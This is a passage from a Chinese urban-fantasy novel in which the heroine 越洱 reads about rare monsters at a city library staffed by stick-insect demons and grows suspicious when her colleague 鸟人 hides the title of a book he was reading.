虽然她现在也没什么明确敌人吧,罗成荒、陆锁仁这俩都已经不能激发她“斗志”了,算不算一种麻木?
恨一个人那么累,远比惦记爱人还费心神。
8号线地铁送来冷风,凉丝丝敷在她崴痛的脚踝上,温柔像一只阴凉的手。
越洱深吸一口气,不管是心理暗示还是玄学,8号线不愧是好运五角星。
上次她在这趟线路收到了边锋送的小浣熊氢气球,带回家抵着天花板飘了四五天,小尾巴一悠一悠的,可给小狗馋坏了。
忙忙那几天几乎失去对尖叫球的兴趣,每天吃饱睡足就是蹲坐在房子里,抬头好好看着那个小熊猫。
越洱低头轻轻笑了,下一站就是不眠市最大的图书馆。
*
不眠市市图书馆外墙,有一面通体玻璃打造,从一层到五层,从馆内看出来,是一片波光粼粼的湖水,水面时常漂过载着游客、货物的轮船。
不疾不徐,湖水载满落日的余晖,卷起来轻轻晃动。
这时间图书馆人不多,越洱刷身份证进去时,几只长长的竹节虫妖,沿着承重柱爬上爬下。
竹节虫妖身长两米,有青色、有木色。
越洱搭电梯直上5层,她是来打发时间的,由着自己兴趣在【修仙艺术】牌子底下选了两本书。
又绕向【神魔妖怪】的一排通天书柜,把眼前几本和“稀有妖怪”、“绝迹古妖”、“濒危妖怪实录”沾边的,都摞起来抱走了。
5楼馆藏丰富,都是修仙、法力、神魔妖怪、奇物异兽一类书籍。
越洱抱着书,寻一处能看见窗外湖面的座位坐下,市图就是这里好,一张张青铜色的小桌摆了台灯,座位前后都是迷你书架,把每个座位框定成一个独立小空间,看书人互不干扰。
越洱拉绳点亮台灯,含一颗边沁给的玫瑰糖,心满意足翻阅起眼前书来。
太学术的文字描述部分跳过,她只配着图片看看小字;连包子那本纪妖局发的大厚书上都没有血肉大喇叭相关,越洱也不指望能在其它地方查到,权当消遣。
静谧祥和,时光匆匆,再一抬眼,窗外都黑了,湖对岸的城市高楼亮起五彩纷
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呈的灯光,一艘游船从湖面驶过,船身也点缀起星星样的灯管。
她点饿,但不舍得出馆,一出去再回来,专注状态就打破了。
手指捏合书页,估量一下,第三本书只剩最后四分之一内容。
算了,直接全借回家看,反正这阵子闲得慌。
越洱抱起一摞书,把翻完的两本放回原位,她正欲走出书架间,忽然透过一排书籍上方,认出个熟人。
这不鸟人老师吗?
鸟人在对面书架间站着,捧一本黑色封皮的书,低头看得入迷。
越洱实在按捺不住想使坏的心思,一个闪现把自己传送到鸟人身后。
她本想小声说句:“鸟人老师,这么有闲情逸致?”
不料鸟人敏锐察觉到身后来人,极速闪走,徒留原地一阵清香的冷风。
“诶?怎么闪了?”越洱颇有些无奈,至于么。
她抬眼看书架上方,通往天花板的书架摆得满满当当,根本没容身之处。
方一收回视线,鸟人高挑的身型重现眼前。
“是你啊,我以为哪个搞偷袭。”鸟人手上还抓着那本书。
越洱笑道:“未来安全司司长还怕良民偷袭你?”
鸟人也笑,他合了书,把书脊朝内,按回了空位。
他状似随意地瞟一眼越洱手上那摞书:“这么多,早知道你这么好学,安全考试就让你替我去了。”
鸟人伸手接过越洱的书,冰蓝色的细小耳坠从他发丝间透出点光彩,显得鸟老师高贵又复古。
与平时无异,但越洱注意到那本错放方向的书,书脊朝内压进去,鸟人不想她看见书名?
她随口回应两句,克制自己别回头,跟着鸟人从书架间走出去。
要放平时,鸟人不说些肉麻话都不正常,可今天,站在借阅台前登记,他明显心不在焉。
鸟人两手空空,纯粹在等越洱借书而已。
那登记借书的竹节虫妖年逾古稀,动作特慢,一个印章能盖半天。
见他魂不守舍,越洱放缓语调:“鸟人老师,这么晚别等了,你先回去,我还有本书要老先生帮我找一下呢。”
鸟人愣了一秒,眉眼含笑:“我怎么好放你一个人走夜路?”
他语气里有种违和的表演痕迹,越洱故意白他一眼,好像嫌他说话油腻似的:“得了吧,能有多夜,我闪现两秒就到家了。”
“也好,那我先走一步,确实有些事。”
这借口,越洱几小时前用过。
于是她点头道:“好走,男孩子走夜路要保护好自己。”
鸟人走了,越洱低头看竹节虫老先生一笔一划抄书名,明明能扫码,但这位管理员总不爱用。
她假意低头与老先生说话,余光却搭着鸟人离开的背影。
鸟人出了图书馆,没直接闪走,反而一步步不疾不徐。
行至水岸边,他忽地转身望进来,目光锁定越洱。
越洱感到一股寒凉的冷气从脚底爬升上来。
她还在装,很自然地从笔筒里一支钢笔:“先生,要不我来写另一张借阅卡?”
竹节虫老先生从复古圆框镜片后投来个眼神,轻缓坚定地朝她摇摇头。
越洱放下笔,从余光中确认,鸟人不见了。